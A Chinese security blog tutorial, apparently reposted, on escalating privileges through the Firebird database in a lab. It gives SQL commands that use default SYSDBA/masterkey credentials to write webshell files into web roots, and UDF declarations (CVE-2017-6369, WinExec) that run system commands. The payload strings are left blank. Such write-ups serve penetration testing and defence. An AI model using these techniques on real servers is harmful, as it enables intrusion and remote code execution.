<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Firebird數據庫提權姿勢總結

    VSole2022-03-24 07:21:52
    文章來源 :酒仙橋六號部隊

    在一次端口探測中,發現了3050端口,第一時間沒想到是什么服務在運行,查了查,居然是冷門的Firebird。

    翻看了網上的資料,幾乎沒有。在國外看到一個匯總貼,但里面存在幾處報錯情況,作者卻以某些情況下可能會執行成功,一筆帶過了,而報錯原因就在官方文檔寫著,屬于某些較新版本的安全調整。

    Firebird實在是冷門,在某友人鼓勵下,遂有此文。

    1、Firebird數據庫簡介

    Firebird是一個跨平臺的關系數據庫系統,目前能夠運行在Windows、linux和各種Unix操作系統上,提供了大部分SQL-99標準的功能。它既能作為多用戶環境下的數據庫服務器運行,也提供嵌入式數據庫的實現。

    Firebird脫胎于Borland公司的開源版數據庫Interbase6.0,是一個完全非商業化的產品,用C和C++開發。由于與interbase的血緣關系,大部分interbase的開發工具可以直接應用到Firebird開發中。Firebird使用MozillaPublic License v.1.1許可證發行。

    一個Firebird數據庫服務器能夠管理多個獨立的數據庫,每一個數據庫同時可支持多個客戶端連接。

    準備環境和工具:

    安裝Firebird,我選擇在Windows Server 2019安裝了Firebird服務端。

    安裝包地址:

    "http://firebirdsql.org/en/firebird-3-0-7/"

    靶機IP:10.211.55.5 ,部署好以后重啟,會默認開放3050端口。

    在Kali安裝Firebird客戶端,首先執行:

    sudo apt-get -y install firebird3.0-utils
    

    也可以試試跨平臺的圖形化工具flamerobin。

    地址:

    "https://github.com/mariuz/flamerobin/releases"

    安裝過程中,默認以SuperServer模式運行,如果一直按Next,注意看英文小字,不輸入用戶名和密碼,默認用戶名就是SYSDBA,默認密碼masterkey。

    安裝好之后重啟,對外開放默認端口3050。

    創建或者第一次連接數據庫的同時,必須使用該用戶名以及密碼來實現訪問,否則會報錯。具體命令如下:

    SQL>createdatabase '[新建數據庫的路徑以及名稱,后綴名稱為.FDB]'user 'sysdba' password 'masterkey';
    

    需要說明的是,一條命令一定是以“;”結束的。否則會在下一行顯示“CON>”,即繼續之前的命令。

    快速入門——官方文檔參考:

    "https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

    2、3種姿勢

    介紹一下Firebird寫webshell的3種姿勢。

    常規的SQL語句寫webshell

    這一種方法通用性最好,可以在足夠權限的路徑下,創建任意后綴的文件。但缺點就是生成的webshell體積大,創建簡單的一句話木馬,大小就超過1Mb,有許多數據庫寫入的臟字符。

    如果你的webshell代碼特別多,選用下文的第三種方法。執行完幾行SQL語句,最后要EXIT才會成功寫入文件。

    CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
    CREATETABLE a ( x BLOB);
    INSERTINTO a VALUES ('');
    COMMIT;
    EXIT;
    

    外部表寫webshell

    先創建一個不存在的數據庫文件,然后創建外部表。外部表就是我們的webshell,再對其寫入內容,但是由于firebird.conf的默認安全配置,寫入被阻止了。

    CREATEDATABASE '10.211.55.5/3050:C:on-existent-file' user 'SYSDBA'password 'masterkey';
    CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
    INSERTINTO a values ('<%= date() %>');
    

    不推薦實戰使用,非默認配置才能成功,需要管理員修改配置文件firebird.conf,參考官方文檔說明:

    "https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

    增量寫shell

    先創建一個不存在的數據庫文件,再創建額外的增量文件,執行備份,寫入webshell內容,這種方法在最新的Firebird測試下有效,雖然還有臟字符,但是生成的webshell文件只有64KB,能正常執行,推薦采用這種方式提權。

    CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file' user 'SYSDBA'password 'masterkey';
    CREATETABLE a( x blob);
    ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
    ALTERDATABASE BEGIN BACKUP;
    INSERTINTO a VALUES ('');
    COMMIT;
    EXIT;
    

    3、UDF提權

    Linux的UDF提權CVE-2017-6369這個漏洞,影響范圍Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,該漏洞是由于默認安全配置是”UdfAccess= Restrict UDF“,允許任意權限的數據庫用戶通過調用fbudf.so執行代碼。攻擊代碼如下:

    SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';
    SQL>SELECT FIRST 1 exec('') FROM any_table LIMIT 1;
    

    windows的UDF提權

    對應的windows的UDF提權攻擊代碼如下,在新版本中被限制了:

    CREATEDATABASE '10.211.55.5/3050:C:\tempon-existent-file1' user 'SYSDBA'password 'masterkey';
    DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
    SELECTFIRST 1 EXEC('', 1) FROM any_table LIMIT 1;
    

    參考文檔:

    "https://firebirdsql.org/rlsnotesh/config-fb-conf.html"

    親測了一下,可以調用Firebird安裝目錄UDF文件夾的dll文件,比如:

    C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll
    


    Firebird的安全防范手段和高版本的MYSQL一樣,要完成UDF提權,就要配合其他漏洞了。

    4、總結

    本文主要介紹了Firebird數據庫提權,包括3種SQL語句寫webshell的姿勢,以及不同平臺下的UDF提權。其他的RCE漏洞可以參考metasploit攻擊模塊,但是都挺有年代感了。

    以下是參考資料:

    "https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html"

    "https://www.infosecmatter.com/firebird-database-exploitation/"

    "https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external"

    "http://tracker.firebirdsql.org/browse/CORE-5474"


    數據庫firebird
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Firebird是一個跨平臺的關系數據庫系統,目前能夠運行在Windows、linux和各種Unix操作系統上,提供了大部分SQL-99標準的功能。它既能作為多用戶環境下的數據庫服務器運行,也提供嵌入式數據庫的實現。
    今天猿妹就和大家分享另一款基于Java 開發,免費開源的通用數據庫管理和開發工具——DBeaver。安裝方式DBeaver需要Java1.8+才能運行。
    記一次SQLmap實戰
    2021-09-28 07:41:13
    簡介:sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL的SQL注入漏洞,目
    滲透測試,也被稱為穿透測試或道德黑客攻擊,就像電影《Sneakers》中那樣,黑客顧問在攻擊者之前侵入你的公司網絡,找出弱點。這是一個模擬的網絡攻擊,pentester使用惡意黑客可用的工具和技術。
    這些工具大多數是免費開源的安全工具,只有兩款是收費工具
    工欲善其事,必先利其器。既然如今已經有了更為便捷、快速的滲透測試工具,這對現代滲透測試工作者無疑是有很大的幫助的。以下列出了他們使用的一些工具。 一、Kali Linux Kali是基本的滲透測試操作系統,為大多數人采用,除非是掌握尖端知識或有特殊情況。Kali以前稱為BackTrack Linux,由Offensive Security(OffSec,進行OSCP認證)的優秀人員維護,如今在各
    The Hacker News 網站消息,網絡安全公司卡巴斯基在其 2023 年第三季度 APT 趨勢報告中透露,一個名為 DoNot Team 的黑客組織與使用名為 Firebird 的新型基于 .NET 的后門,針對巴基斯坦和阿富汗發起了網絡攻擊。
    年初,研究人員發現了針對亞太地區政府的持續攻擊。這起攻擊事件,通過攻擊特定類型的安全USB驅動器達成,這種安全的USB驅動器被國家的政府機構用來在計算機系統之間,安全地存儲和物理傳輸數據,該驅動器提供硬件加密。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类